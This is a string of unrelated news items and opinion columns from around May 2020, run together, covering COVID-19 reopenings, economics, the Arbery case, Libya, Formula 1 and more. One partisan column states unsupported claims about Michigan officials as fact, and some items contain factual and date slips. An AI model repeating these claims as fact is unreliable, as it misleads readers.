A day before, Swiggy began home delivery of alcohol in Ranchi, whereas Zomato was in talks with Jharkhand government and is likely to begin this service by the end of this week.

ALSO READ: Infographic: Alcohol to the rescue
BEVERLY HILLS, Calif.Hustler Hollywood has announced that it has begun to officially reopen stores across the country in select locations that had been closed due to the COVID-19 virus. The latest reopenings include stores in San Diego, San Jose and Sacramento, though only the San Diego and Sacramento stores will allow customers inside, and the San Jose store will only be available for curbside service, due to the restrictions imposed on California businesses by Gov. Gavin Newsom.

We have been helping people with intimacy and relationships for years, and right now, many people have the extra time to do some exploration, and that is where we come in. We have new guidelines and protocols in place for our employees, along with customers, and we will do everything we can to continue to provide a safe and clean environment in which to shop," said Philip Del Rio, vice president of retail.

The retailer will also provide customers with curbside pick-up service that will be available daily from Noon to 8 p.m. at its San Diego location at 929 6th Avenue for those customers who chose this option, as well as at its Sacramento location at 2285 Arden Way, though only curbside service will be available at its San Jose store located at 2210 Business Circle. Customers can phone the San Diego store directly at 619-696-9007, the Sacramento store at 916-648-1169 and the San Jose store at 408-295-6912 to place an order, and have it delivered to them curbside without having to leave their car or enter the store. For those not sure as to what they might want to purchase, they can visit the company's website HustlerHollywood.com for product information.

Hustler Hollywood will continue to monitor the COVID-19 situation and make updates as needed. For more information and a full list of store re-open dates, visit the company's store closure updates page.

The first Hustler Hollywood opened in 1998 on the famed Sunset Strip in West Hollywood, making this the company's 21st year in business.
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A giant 3D wave breaks every hour in a realistic art simulation on South Korea's largest digital billboard.

The huge wave has appeared on the SMTown COEX building, with the billboard measuring at a massive 262 by 66 feet, in Seoul's Gangnam District.

The wave crashes for one minute each hour, giving a 3D illusion of a large glass tank rather than a 2D wraparound digital display.

A video shows the remarkable instalment in action, with the wave rising up the back of the 'tank' before crashing down to the front of the building, giving the appearance of the water being contained by glass.

The huge wave has appeared on the SMTown COEX building, with the billboard measuring at a massive 262 by 66 feet, in Seoul's Gangnam business district

But amazingly, the pedestrians do not seem to flinch as they walk past the wave, which looks as though it could spill out of the 'aquarium' at any moment.

The billboard even has realistic 'damp lines' on the screen where the wave splashes, making the anamorphic illusion look even more like a real water tank.

The billboard was initially developed by Samsung and is made up off around 31,000 LEDs and covers a total area of 17,437 square feet.

The COEX building is a convention and exhibition centre that doubles as a gigantic mall and its billboard is often used for brand advertisements and K-pop videos.

The realistic simulation called 'WAVE' was designed by d'strict, a firm whose speciality is using immersive technology to create public art.

A video shows the wave crash for one minute each hour, giving a 3D illusion of an aquarium inside large glass tank rather than a 2D wraparound digital display

The realistic simulation called 'WAVE' was designed by d'strict in four months, a firm whose speciality is using immersive technology to create public art

The project took four months from start to finish, including three months of digital design work, CNN reported.

Business development director at d'strict Jun Lee said: 'We want to create overwhelming experiences.

'Waves are beautiful and dynamic in themselves but we chose them as our subject because they evoke feelings of comfort - which is much needed now.'

It was a challenge for d'strict to make sure the illusion would have the same depth from all angles, not only from the front of the wraparound screen.

The wave project has stunned people online as they are mesmerised by how realistic the crashing wave looks.

The billboard was initially developed by Samsung and is made up off around 31,000 LEDs and covers a total area of 17,437 square feet

'The Wave serves as a sweet escape and brings comfort and relaxation to people. We didnt expect so many people around the world to respond so positively to the Wave after its unveiling on social media, but we are very grateful that our message was seen as an unimaginable scene by many who are tired of the current pandemic and the trying times,' Sean Lee of dstrict told BoredPanda.

The billboard is often referred to as Seoul's version of Time Square as its gigantic advertisements light up the city's night sky.

D'strict have showcased similar visuals as part of the Nexen UniverCity Project, including another of their realistic wave installations on an 'infinity wall'.

D'strict is also set to launch an immersive indoor theme park on Jeju Island this summer, even featuring a holographic theatre.
The demand for cash has reportedly increased during the lockdown and is said to be double of what was seen during the 2019 election period.

The Reserve Bank of India (RBI), in its latest release, stated that Rs 1.42 lakh crore worth of currency in cash was in circulation between April 01 and May 15.

This is almost double the amount of Rs 72,984 crore that the RBI released during the same period in 2019, as per a report by The Economic Times.

The surge in cash transactions is said to be due to the lockdown, where depositors are withdrawing cash for meeting essential needs.

Radhika Rao, India economist at Singapore-based DBS said, While at normal times such a surge is seen as an indication of higher economic activity or event-driven phenomenon like elections, we suspect that the recent increase reflects higher cash withdrawals by depositors to meet needs during the lockdown period.

Between April 1 and May 8, currency with the public amounted to Rs 1.24 lakh crore compared to Rs 65,551 crore in the same period a year ago. "A lot of cash is not coming back to the banking system during the current lock-down phase," said Anush Raghavan, senior vice president, CMS Infosystem, a company engaged in cash handling. He further added that regulators have been ensuring there is no shortage of cash in ATMs.

Beneficiaries of government cash deposit through Direct Bank Transfer (DBT) also withdrew cash from their accounts, the report stated. Nearly Rs 50,000- Rs 60,000 crore of the stimulus package announced by the finance minister in March is said to have been withdrawn from the DBT accounts of women and senior Jan Dhan account holders.

Economists caution about this trend which could reverse with a surge in that cash going back to banks when normalcy returns. " (It is) also pointing to underlying caution over when normalcy would return," said Rao from DBS.
- Emperor Mansa Musa, the 14th-century emperor of Mali is regarded as the wealthiest man of all time

- Jeff Bezos is the richest man in the world, but the Malian emperor is the richest man ever

- Mansa Musa, who ruled from 1312 to 1337, was worth $400 billion having made his fortune from gold and salt

Our Manifesto: This is what YEN.com.gh believes in

Businessman and Amazon founder Jeff Bezos is the richest man in the world. He is the wealthiest man in modern history with a net worth of $149.4 billion, but not the wealthiest man of all time.

According to BBC, Mansa Musa, the 14th-century emperor of Mali, is believed to be the richest man ever with a net worth of $400 billion.

YEN.com.gh notes that the emperor, who made his fortune from gold and salt, ruled from 1312 to 1337.

READ ALSO: Young and gifted: Genius girl, 8, shows off her coding skills

Rudolph Butch Ware, associate professor of history at the University of California, said it is almost impossible to describe how wealthy and powerful the ruler truly was.

Mansa Musa, who was born in 1280 into a family of rulers, inherited the throne when his brother Mansa Abu-Bakr abdicated to go on an expedition.

The emperor was able to grow his kingdom under his rule, annexing 24 cities, including Timbuktu.

However, after his death in 1337 at the age of 57, the empire which was taken over by his sons could not be held together, leading to its fall.

READ ALSO: Ghanaian visually impaired farmer demonstrates how he does all his work in video

In other news, an old childhood photo of Ghana's vice president, His Excellency Mahamudu Bawumia, has surfaced online showing how he acted as a lawyer back at the Sakasaka Primary School in Tamale.

In the hilarious photo sighted by YEN.com.gh, Bawumia was very innocent-looking as he sat down together with some other children and adults on what is reported to be a speech and prize-giving day.

Reports indicated that the old photo was brought out by Konlanbik Jacob Duuti, a 75-year old former primary school tutor of the vice president in the 1970s at the Sakasaka Primary School in Tamale.

Enjoy reading our stories? Download YEN's news app on Google Play now and stay up-to-date with major Ghana news!

Ghanaian female accounting graduate and mushroom farmer recounts her experience | #Yencomgh

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Source: YEN.com.gh
These, indeed, are unusual times for mankind. Like never before, natural disasters, poverty, hunger, international conflicts and many other strange occurrences are helplessly starring man in the face. There is, perhaps, no other time in history when the ability of man to dominate his environment has been so fiercely challenged than now.

Today, the major news items that dominate the airwaves and other communication channels leave much to be desired.

For some time, terrorism has posed a major danger to global peace. Perhaps, the most bizarre act of international terrorism in the history of mankind occurred on September 11, 2001, in a set of well-coordinated attacks on the United States of America, when in an uncommon display of evil genius, terrorists hijacked civilian airliners to attack the World Trade Center towers in New York and the Pentagon in Washington, DC.

Before now, in Nigeria, terrorism is alien to our culture. But occurrence in recent years have since altered the equation. No thanks to the dastardly acts of the Boko Haram sect, Nigeria is, today, a focal point of global terrorism activities. Through a series of bloodletting operations, unrivalled in the annals of the country, the sect has become a recurring nuisance to the well-being of the country.

To underline its wide acclaim as a globally recognised terrorist body, the sect was designated by the U.S. Department of State as a terrorist organisation in 2013. In the first half of 2014, Boko Haram killed more than 2000 hapless civilians, in about 95 attacks.

A recent research claimed that Boko Haram attacks have left at least 12,000 people dead and 8,000 crippled in the last twelve years, while thousands have fled their homes for fear of the insurgents.

Perhaps, the most audacious act of the evil the sect has perpetrated in the country was the abduction of over 260 secondary school girls from their school, Government College, Chibok, Borno State in 2015. It was an act that was widely condemned across the world.

As the nation continue to grapple with the arduous task of containing the activities of Boko Haram in the country, out of the blue came yet another danger of a different dimension, but with an equally potent capability to waste human lives. Take the back seat Boko Haram, enters COVID-19 pandemic.

Since February 25th when the index case of the deadly Covid-19 pandemic was confirmed in Nigeria via an Italian, there has been a steady increase in the figure of infected people. As at 11:45pm, on Thursday, March 21, the country has 7,016 confirmed cases of the pandemic with 211 fatality.

The rising profile of the pandemic in hour country is particularly dreadful, considering our huge population and weak medical system. Logically, this should give everyone a cause for worry. The need to put up a common front against the spread of deadly virus can, thus, not be over-emphasised.

It is quite pathetic, however, that many still regard the evil virus a hoax, claiming it is not a black mans ailment. Ignorantly, many have equally labelled it a rich mans pandemic. In many parts of the country, people still conduct themselves without regard to social distancing and other preventive measures put in place to contain the spread of the pandemic. But the truth is that the virus is real.

The way things stand, there seems to be a thin line between Boko Haram and the Coronavirus virus. Both are agents of death. Both delight in causing fear. Similarly, both have no respect for international borders. Boko Haram has spread its tentacle across African nations such as Nigeria, Cameroon, Sudan, Niger and Chad. In like manner, the deadly COVID-19 virus moves across nations without visa.

Also, like Boko Haram, Coronavirus has little or no respect for social classification as they both kill the rich and the poor, the learned and unlearned, the beautiful and the ugly, the innocent and the guilty.

Equally, they both regale in inflicting pains and sorrows on their victims. Think about many orphans and widows that the duo have unleashed on the society. Perhaps more fearful is the fact that, till date, they both seem to defy solutions and as such could not be effectively appeased.

To successfully confront this evil duo, our nation and, indeed, the whole world need to unite and shun every divisive tendency. We need to put up a common front against the evil intentions of the twosome. Human life is precious and sacred. Nothing must be spared to preserve it.

If we can stick together against the evil duo, with a common vision and goal, victory is surely in sight. Therefore, we must collectively unite to protect ourselves from these carriers of death. Now is the time to rise up in support of life. This is the time to frontally deal with every condition that poses serious threat to the peaceful co-existence of our world. This is the time to pursue peace and reject evil.

Ogunbiyi is of the Ministry of Information & Strategy, Alausa, Ikeja.
Amid the continued pursuit for justice for the killing Ahmaud Arbery, another person was arrested for his supposed connection to the murder, Thursday.

The man in question, William Bryan, was the one who filmed the chase and shooting of the 25-year-old black victim in the hands of two white men.

According to the Georgia Bureau of Investigation, 50-year-old Bryan was nabbed and was charged with criminal attempt to commit false imprisonment and felony murder. While Travis McMichael, 34, and Gregory McMichael, 64, the white men who were filmed assaulting Arbery, were previously arrested and were both charged with aggravated assault and murder.

In what is viewed by the masses as a case of racist murder, Bryan, who is also a white man filmed the altercation between Arbery and the McMichaels on February 23. In the footage, Arbery was seen running in the neighborhood in Satilla Shores as the two white men pursued him and later on killed him.

In a report by the New York Times, for more than two months since the murder, no one was arrested nor any criminal charges were filed. However, the video that Bryan filmed which was posted on the internet this month led to the arrest of the McMichaels on the 7 of May.

While the video he uploaded was credited by many as to why the father and son were finally taken into police custody and charged, it also made Bryan a subject of the investigation.

However, activists were quick to defend Bryan and said that he was only a bystander during the incident and that without his video there would be no concrete proof incriminating the McMichaels.

Read also: Cyclone Amphan Devastates Coronavirus-Stricken Areas in Bangladesh and India

The McMichaels were arrested despite the contention during the early stages of the case that they were only acting on self-defense and citizens' arrest, thus their actions are not supposed to be viewed as criminal offenses.

On Thursday, the victim's family released a statement through their lawyer that they were thankful for the steps that have been taken in giving justice to Arbery's death.

Moreover, they stated that Byran's involvement in Arbery's murder has been very apparent to them since the beginning and that they were relieved that the GBI has finally seen the connection as well.

Lee Merritt, an attorney that was hired by the victim's mother, called Bryan a liar stating that Bryan's story has changed several times since the murder. Moreover, the attorney noted that if Bryan was indeed a good Samaritan, he would have at least honked his horn in an attempt to help the victim. It was also worth noting that during the murder, the video taken by Bryan made it seem like he did not even flinch while Arbery was being assaulted.

Based on the statement that was released by the GBI, Bryan is currently being detained in Glynn County Jail, the same place were the McMichaels are currently being held while awaiting their bond hearing.

It was also noted that long before the video he took emerged online, Bryan has already been considered in his possible participation in the murder of Arbery.

Related article: Man From Oklahoma Gunned Two Neighbors, Shots Self on Head in Front of Police

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
The class of 2020 has become known as the class of COVID-19. Because of the coronavirus pandemic, these students have been forced to cut their college careers short, give up traditional graduation ceremonies and begin their professional careers during the most hostile labor market since the Great Depression. Many have also had their first full-time job offers revoked. "This is much worse than the Great Recession. Over the entire Great Recession I think maybe 8.5, 9 million jobs were lost over the course of a 5-year period. Between February and April, the United States lost 21.5 million payroll jobs," says Gary Burtless, senior fellow at the Brookings Institution. "And so now, people graduating this spring are going to face the worst job market in the entire post-depression history." Since March, 38.6 million Americans have lost their jobs and in April, the national unemployment rate was 14.7%. CNBC Make It spoke with college graduates across the country who have had their full-time job offers rescinded because of the coronavirus to see how they are coping.

'I saw it coming'

John Novakovich will graduate from Northwestern University on June 19th with a degree in economics. He was set to start his first post-grad job as an operations associate for Uber later that month. "I got a job offer from Uber back in October 2019 and was super excited about it. It fit a whole lot of things I thought I was good at, and it was at a company that was so well known. I had this idea in my head of what my life was gonna look like after I graduate: living in the city with my friends and budgeting my finances," he says. Then, as the coronavirus pandemic impacted communities and companies across the country, Novakovich began preparing himself for the worst. "In the beginning of May 2020, a call I've been dreading for a while came, and they basically let me know that they had to rescind my job offer because of economic conditions related to coronavirus," he recalls. On May 6, Uber announced that the company would lay off 3,700 employees. "While we believe Uber will recover when cities will start moving again, it is impossible to predict when that will happen. Earlier this week, we have therefore reduced our total headcount by approximately 3,000, which combined with previous reductions in Customer Support and Recruiting on May 6, represent a 25 percent reduction in the size of our global workforce. Unfortunately, we also had to rescind some job offers as part of this exercise," a representative for Uber tells CNBC Make It. Nathalia Kasman recently graduated from the California College of the Arts with a degree in interactive design and was supposed to begin a job as a user experience designer for a unicorn start-up in June. "In school I worked really hard to maintain my grades and make sure I have work experience so that I can get a job after school, and so I felt like when I had that offer, I felt really happy," says Kasman, holding back tears. "Like my hard work finally paid off." Like many of the graduates CNBC Make It spoke with, she asked not to reveal the name of the company "because I still think they're very lovely people  I would still want to go back and work for them." Kasman says she was told via a LinkedIn message that her offer had been rescinded and that the company would be laying off some 200 employees. She got the news in mid-March, the same week as her birthday. "I saw it coming," she says, explaining that the news felt both like a "nightmare" and "a relief."

Nathalia Kasman Courtesy of Nathalia Kasman

Visa difficulties

For Kasman, who is originally from Indonesia, the news that her job offer had been rescinded also brought concerns about her visa status. As an international student studying in a STEM field, Kasman was planning to use the two years of Optional Practical Training, known as OPT, allocated by her F-1 visa. Now, she needs to find a new job in her field of study within 90 days of when her job was set to begin in order to stay in the country. "If I have to leave, then I just have to leave knowing that I've tried my best," she says. Gauri Parkar, an international student from India on an F-1 visa, recently graduated from UC Berkeley with a master's in mechanical engineering. Parkar got a job offer from an oil company in Texas on the second of March, but by the 31st of the month she received an email saying her offer had been rescinded "because of the COVID situation." "Being an international student, it's not just about finding a job. We also have to look into the visa timelines, the job market, the type of job we can work," she explains. "And not every company offers jobs to international students." Now, instead of moving to Texas, Parkar is working with her professors to find research opportunities.

Mayra Torres studying Courtesy of Mayra Torres

Moving back home

With their offers revoked, many recent graduates have been forced to move home with their families  a trend that was also common among graduates following the Great Recession. Mayra Torres, who recently completed a degree in mechanical engineering at the University of Houston says that having her job offer revoked has forced her to delay her plans to live independently. "Although was it not unexpected, it was still very devastating," she says. "As a first-generation college student and having to work part-time throughout my whole college career, it was very hard for me to get internships. So as you can imagine, it was a little difficult for me to get a full-time job." After getting a full-time offer with a local oil company, Torres says she had begun dreaming of the day she might own her own home. "Luckily, my family loves me and supports me, so I have a place to stay, but it gets to a point where it's like, 'O.K., but when am I going to get a job so I can start doing my plans and building towards my goals?'" she says. Instead of living with friends in Chicago, Novakovich is now staying with his parents as well. "I just turned 22. Living with my parents was not my idea of what my life would look like," he says. "I feel very much vulnerable to economic conditions. I don't qualify for unemployment insurance. I was claimed as a dependent on last year's taxes, so I didn't get the $1,200. I think I slipped in the cracks of those government programs designed to help Americans right now."

Shock and anxiety

Many of the graduates CNBC Make It spoke with mentioned going into a state of shock  even if they had prepared themselves for having their offers revoked. Sarah Doncals recently graduated from Savannah College of Art and Design with a degree in user experience design and was excited to start working for Uber (where she had interned last summer) when her offer was rescinded.

Sarah Doncals interning for Uber in 2019 Courtesy of Sarah Doncals

"I heard through the grapevine on the news that Uber was going to have layoffs, and having not started yet I was already a little nervous. I was like, 'there's a chance it'll get cut,' but I didn't really let myself believe that," she says. "When I got the email, my heart dropped and I was in disbelief. It took me a couple of days to really realize what had happened. I didn't tell anyone for a couple days. I kind of just kept it to myself." She says feelings of heartbreak and optimism come in waves. "When I first got laid off, I didn't want to do anything. I didn't feel like applying anywhere. I just lost my dream job two weeks before I graduate, I don't feel like doing anything," says Doncals. "But now I feel these waves of empowerment and wanting to find a job." The recent grad says she has begun applying for jobs but notes that graduates like her are dealing with more than just bleak professional prospects. "Being a new grad is really hard right now because it's not just that we lost our jobs," explains Doncals. "We've lost in-person classes. We've lost seeing our friends, having an in-person graduation. Having a job made me feel some sort of comfort  that at the end of this, it will all be normal." Will Ye recently graduated from Duke University with a degree in computer science. He describes the process of having his job offer with Thumbtack, a San Francisco-based start-up, rescinded weeks before graduation as "emotionally draining." He remembers shaking when he got the call and says he took a long nap afterward. "When you work so hard to get a job offer and it all of a sudden gets taken away, it brings back all those memories and feelings of anxiety of going through job interviews, job hunting, receiving all those rejections," he describes.

Darrin Gilkerson interning at SimpleBet in 2019 Courtesy of Darrin Gilkerson

Expanded job searches

Now, many of those who have had their job offers rescinded are restarting and broadening their job searches. Darrin Gilkerson will graduate on May 28 from Harvard University with a degree in statistics. He was set to begin a job with an e-betting company called Simple Bet in New York City this summer but his offer was recently revoked. "Losing your job a month before you graduate is obviously not what any senior wants to hear," he says. Gilkerson says he was excited to move to New York and work for Simple Bet because he had previously interned for the organization and had plans to live with two of his close friends. Now, Gilkerson has expanded his job search significantly and keeps his 118 active applications organized on a spreadsheet. He says he has heard back from around 20 companies and is interviewing with 12. Torres says she has applied to "100 or more" companies. "Not only am I competing with each person that's graduating this semester, but I'm also competing with other experienced individuals who have also lost their jobs," she says. Justin Crowe will soon graduate from Northeastern University with a degree in political science and communications and was supposed to work for a start-up in New York after commencement. "I've probably applied to 500 companies. I've written so many cover letters. I just spend so much time crafting these applications and sending them off and then getting no response," he says. "And I feel like I'm doing all the right things. I'm reaching out to the recruiters on LinkedIn. I'm messaging people. I'm trying to connect to people, but I'm not getting anything back." Novakovich says the recent economic downturn has forced him to consider an even wider range of opportunities than before. "Things have gotten a lot more desperate," he says, noting that he no longer has the same expectations about salary and benefits that he once had. Kasman says she has stopped counting how many applications she has sent out "because it got depressing." "I'm open to all and any kind of opportunities," she says. "It's survival mode."

Justin Crowe will soon graduate from Northeastern University with a degree in political science and communications. He was supposed to work for a start-up in New York after commencement. Courtesy of Justin Crowe

Holding out hope
(ANSAmed) - TUNIS, MAY 22 - After having retaken the cities of Asaba and Jandouba, forces answering to the Government of National Accord (GNA) had by Friday taken control of the southern entrance of Mizda, 180 km south of Tripoli. The announcement was made by the spokesman for the Volcano of Rage operation, Mustapha al-Majai, who told the Turkish news agency Anadolu that his men had taken control of the Sakrij entrance south of Mizda, an area that is strategic to block supply routes for General Khalifa Haftar's forces from his stronghold Tarhouna. The battle for Tarhouna concerns the UN mission for Libya, UNSMIl, which noted on Twitter that it is ''following with great concern the military developments and mobilization around the city of Tarhouna. UNSMIL reminds all parties of their obligations in accordance with international humanitarian law and warns against any acts of retribution, including attacks against civilians, extra judicial punishments, looting, robberies and torching of public and private properties. UNSMIL calls on all parties to refrain from military escalation and resort to peaceful means.'' (ANSAmed)
Burma Myanmar to Relocate Rohingya IDP Camp, Build Houses and Infrastructure

A Rohingya family at a local refugee camp after 2012 communal violence in Rakhine State.

NAYPYITAWAn internally displaced people (IDP) camp for Rohingya Muslims in Rakhine States Kyaukphyu will be moved to a new location and given formal infrastructure at a cost of over 2 billion kyats (US$1.4 million), according to Deputy Minister for Border Affairs Major General Than Htut.

The Union government has given approval to spend 2.1 billion kyats, according to an estimate by the Rakhine State government, from the presidential emergency funds to relocate the Kyauktalone camp in Kyaukphyu. The Union Parliament approved the spending during its session on Thursday.

The Rakhine State government will take responsibility for this relocation, Maj-Gen Than Htut told the Parliament.

According to the major general, the camp will be relocated to another location nearby and there are plans to construct 363 houses, schools, flush toilets, warehouses and gravel roads as well as to install running water and electricity. He also said the government will compensate the current owners of the land where the new site is located.

The camp was opened to house Muslims following the waves of sectarian violence between Rakhine Buddhists and Muslims in the ethnically and religiously diverse state in 2012. Around 1,000 people are currently taking shelter at the camp, said Lower House lawmaker U Ba Shein of Kyaukphyu Township.

As their current camp is wearing down, [the government] is working to move them to a better place and provide them with better access to water and electricity, he said.

The deputy border affairs minister told Parliament that officials decided to pay for the relocation costs using emergency funds from the President during a meeting on Monday about the closing of the camp led by State Counselor Daw Aung San Suu Kyi.

The plan to close camps for Muslim IDPs is part of the national strategy on the resettlement of IDPs and the closing temporary IDP camps, which has been implemented by the Ministry of Social Welfare, Relief and Resettlement since 2018.

Translated from Burmese by Thet Ko Ko.

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If anything embodies the unseriousness of the Democrats, the smug, sanctimonious, and strangely chirpy pronunciamentos of the state's attorney general, Dana Nessel, will fill the bill.

Here she goes, chirping her big concern about President Trump not wearing a face mask as he spoke to workers at the Ford plant in Michigan, as the drive-by media echo-chamber her.

WATCH: Michigan AG @DanaNessel jumps on CNN outraged that President Trump did not wear a face mask in public



Says she may bring charges against Ford for not forcing Trump to wear a mask at production plant



pic.twitter.com/fAoniB2NkT  Breaking911 (@Breaking911) May 21, 2020

What's wrong with this picture? Here's a clue from Twitter:

Nursing home beatings. Election fraud. Two dams explode. And whats Michigan AG prioritizing? Orange Man Need Mask  Gio DeBatta (@GDebatta) May 22, 2020

define who "you" in the "you've" is. i predict its not anyone outside your tiny media bubble, all striving to impress each other with high school angst masked as revelation. https://t.co/hezikGhQwS  GregGutfeld (@greggutfeld) May 22, 2020

Here's a creature whose state is on fire, exploding with crises. Those include the abuse of nursing home patients, brought on by families being unable to visit their loved ones and report abuse, as has recently been seen on camera. And speaking of abuse, there's also Gov. Gretchen Whitmer's appalling grim-reaper decision to seed nursing homes with COVID-19 patients, which is certain to kill thousands. Whitmer's policies take abuse to a whole new level. The bottom line is that in Michigan, nursing home patients are not being protected and cannot defend themselves as a direct result of state policy.

But wait, there's more. Voter fraud is growing exponentially in that state, once again brought on by her state's policies, probably her own.

And there's more still. Two dams have collapsed in eastern Michigan, leaving thousands homeless, in a huge "unexpected" yet perfectly predictable disaster, brought on by, once again, Whitmer's and Nessel's state policies. The private dam owners had been sued by the government to fill the water levels excessively high based on their greenie agenda, and the owners warned  and tried to fight back  that it endangered the public.

But remember! Orange Man Bad, and he's not wearing a mask. This shows the depth of seriousness going on in that crisis-engulfed state, blaming everyone but themselves for the disasters going on as a direct result of their own decisions. These people have no idea how to govern. Their sole concern is Getting Trump and finding a way to silence him.

While we are at it: Where the heck was Chirpy's mask as she made that complaint about Trump? Right, it was off, because she was speaking to the public. The same could be said of Trump, who had his off when he spoke to the public, fully socially distanced, and probably unlike her, he had been tested, as had all the people in his vicinity. Trump had his face mask on when the cameras were off, which is another thing.

Trump wore a mask and the media still flipped out. pic.twitter.com/M96QlxLesb  Caleb Hull (@CalebJHull) May 21, 2020

But Orange Man Bad, see, and that's the only thing that matters to her. And it mattered so much that she vowed  in that creepy, thin, insubstantial, chirpy voice of hers  to sue the hell out of that company, throwing all of those workers out of work for it. It's quite likely she will do it  service with a smile.

But the rest of us can all see what's happening. Nessel's priority is Getting Trump. She'd like to silence him. If she can't do that, she'll punish the places where he speaks and lay off workers to boot. Meanwhile, her execrable record as part of the Whitmer administration goes off like an uncontrolled dumpster fire, a veritable bonfire of the leftist vanities, as she zeroes in on that mask.

These people can't be thrown out on their ear by voters soon enough, and if they don't, they'll get exactly what they deserve. The rest of us can only shake our heads in disgust at these unserious people's childish, small-minded, and highly politicized priorities.

Image credit: Twitter screen shot.
If everything goes according to plan then Formula 1 will finally start in 2020 on 5 July, with the Austrian Grand Prix. Franz Tost expects busy preparations after such a long break.

Formula 1 was actually supposed to start this year in Melbourne, but that race was cancelled last minute, so the drivers have not been in an F1 car since the test days in February. An incredibly long period for the drivers who normally can't wait to start racing again after the winter break.

But also for the technicians it will be a difficult job to start up again as usual. "It will be a big challenge to get the operation going again", Franz Tost acknowledges in conversation with Formula1.com.

Read more Racesuit Max Verstappen is auctioned off for charity

No more waiting for the right conditions

"I want to take the cars apart and put them back together like we did with the first car. After that we have to train the pit stop and I'm also worried about the drivers, who haven't been in the car for so long".

The team boss of AlphaTauri foresees a very busy Friday in Austria. "It is very important to know that the car is reliable and we don't have any problems. That's why we have to drive as many laps as possible, just like the other teams. During FP1 you will see a lot of cars on the track and there will be no waiting for the right track temperature". We will soon see if the race can actually take place, but it is clear that everyone in Formula 1 can't wait to get started.
A Mississipi church that challenged coronavirus restrictions has burnt down in a fire that police are investigating as arson.

First Pentecostal Church in Holly Springs was burnt to the ground on Wednesday, only a month after it filed a lawsuit against the city over coronavirus social distancing measures.

According to a number of reports, investigators found a note written in graffiti in the church parking lot that read: Bet you stay home now you hypokrites.

Mississippi Governor Tate Reeves spoke out about the incident at a press conference on Thursday, condemning the fire and stating it made him heartbroken and furious.

This is not who we are as a people, Gov Reeves said. This is not who we are as a state.

The Churchs Pastor, Jerry Waldrop, said he and other church leaders in the area dont know who might have set the fire or left the graffiti.

No enemies that we know of, Mr Waldrop said. We dont know anyone that we even think could be capable of doing something like this.

Major Kelly McMillen of the Marshall County Sheriffs Department told The New York Times that the police had found a can of white spray paint and a flashlight at the scene, but that no suspects had yet been identified.

The church filed a lawsuit against the city of Holly Springs in April, accusing police officers of disrupting two religious gatherings and violating their right to free speech.

Holly Springs City Attorney Shirley Byers claimed that on 10 April, nearly 40 worshipers were inside the church not practising social distancing and issued the church a violation citation.

The governor has not outright banned church operations in the state, listing them as essential businesses.

However, the current stay-at-home order limits the size of indoor gatherings, and churches have been encouraged to hold drive through or virtual services.

The lawsuit claimed that the church had only held the indoor service due to inclement weather and that members of the congregation were practising social distancing.

Recommended White House rift with CDC to blame for delays on church guidance

The New York Times reported that Judge Michael P Mills filed an opinion last week outlining the courts concerns that the church was proceeding in an excessively reckless and cavalier manner and with insufficient respect for the enormity of the health crisis which the Covid-19 pandemic presents.

Authorities are offering a reward for tips on the ongoing arson investigation.

Obviously, we have to ensure that this investigation is done and that it is completed, Gov Reeves said according to NBC News.

But if this is in fact what it looks like, I want you to know that were going to do everything in our power to find whomever burnt this church down.

Additional reporting by The Associated Press.
Happy and relieved. Thats how Dr Pham Ngoc Thach, director of the Hanoi-based National Hospital of Tropical Diseases, feels after three months on the frontline battling in the war against COVID-19.

A doctor walks in the quarantine area at the Hanoi-based National Hospital of Tropical Diseases, one of the frontline hospitals in the fight against the COVID-19 pandemic in Vietnam. Photo dantri.com.vn

Dr Thach is one of thousands of dedicated medical professionals defending Vietnam against the coronavirus.

For more than 110 days, thanks to the commitment of the healthcare staff, these men and women have overcome challenge after challenge. In some cases they have been forced to live 24/7 at various hospitals under quarantine, unable to go home and see their families.

Life has sure been tough, but now as the light at the end of the tunnel begins to shine that little bit brighter, they can see their efforts paying off for the good of the nation.

At present, there are only 20 patients being treated out of 157 COVID-19 infected cases, he said. The rest have all recovered.

Doctors can now take turns to go home for a rest, but they are always ready for the next fight against the pandemic.

It was the second day of the Tet holiday when the alarm bells began to ring for Thach when a worker returning from Chinas Wuhan City tested positive.

In the days that followed there was another. Then another. And another.

From his years of medical experience, Thach and his colleagues knew the war was about to begin.

Little information was known about the disease, but that didnt stop him and his colleagues starting the unenviable task of finding out as much as they could.

A decision was made to use conventional antibiotics and antipyretics, a drug used to treat HIV, for the first five patients.

The tide, it seemed, had been stemmed, but only for the time being as more challenges were soon to come.

At the beginning of March, patient 17 came back to Hanoi from Europe, bringing with her COVID-19. This was the changing point for Thach. The invasion of the virus had begun in the capital city.

It was then the real battle began, he said. We were testing hundreds of people every day and patients with complicated illnesses were testing positive.

Nationwide the invasion was getting stronger. A British pilot, who still remains in a critical condition in HCM City today, tested positive. Another Brit with diabetes and hypertension also tested positive, and an elderly woman connected to patient 17 contracted the disease.

She spent nine days in intensive care critically ill and suffered multiple heart attacks.

Only recently as she continues her rehabilitation, she has talked about her relief after showing immense signs of improvement. She has also been given the all-clear from COVID-19.

Dr Pham Ngoc Thach, director of the Hanoi-based National Hospital of Tropical Diseases. Photo nhandan.com.vn

Dr Dong Si Khiem, deputy head of the hospitals Emergency Department, said she could have suffered brain damage or even died if she was not rescued in time.

March was another extremely testing time for Dr Thach and his colleagues. This was the month two doctors at the hospital discovered they were infected, adding even more strain on already stressed out staff.

Around the world doctors, nurses and many other frontline workers had put their lives on the line only to succumb to the disease.

And while every life matters, Thach has no intention of seeing one of his colleagues lose their lives to coronavirus. And through a combination of hard work and dedication, that has not happened on home soil.

Thach and Khiem both agree Vietnam is far from out of the woods. They know COVID-19 could strike, and strike hard, at any time.

But they can both sleep that little bit easier these days knowing they are backed by an amazing frontline packed full of dedicated staff ready and willing to continue the fight whenever the need arises. VNS

Police doctors on frontline in COVID-19 fight Police Hospital 199 under the Ministry of Public Security is one of four hospitals in the central city of Da Nang receiving and monitoring patients suspected of being infected by the COVID-19 virus.
Compared to March this year, the decline in industrial production in April was 12.8%

Industrial production in Ukraine shows a significant decrease, compared to the previous year Ukranews

In April 2020, industrial production in Ukraine, compared to the same month in 2019, decreased by 16.2%, while in March the decline was 7.7%. This was reported by Ukraine's State Statistics Service.

Taking into account the correction for the effect of calendar days, the decline in industrial production was 16.7% in April, compared to 8.6% in March and 4.1% in February.

Compared to March 2020, the decline in industrial production in April was 12.8%. However, taking into account adjustment for the number of working days, the decline was 6%.

In general, during January-April 2020, industrial production in Ukraine decreased by 7.9%, compared to the same period in 2019.

As we reported earlier, according to the chairman of the National Bank Yakiv Smoliy, Ukraine expects to receive 10 billion dollars in remittances from labor migrants.

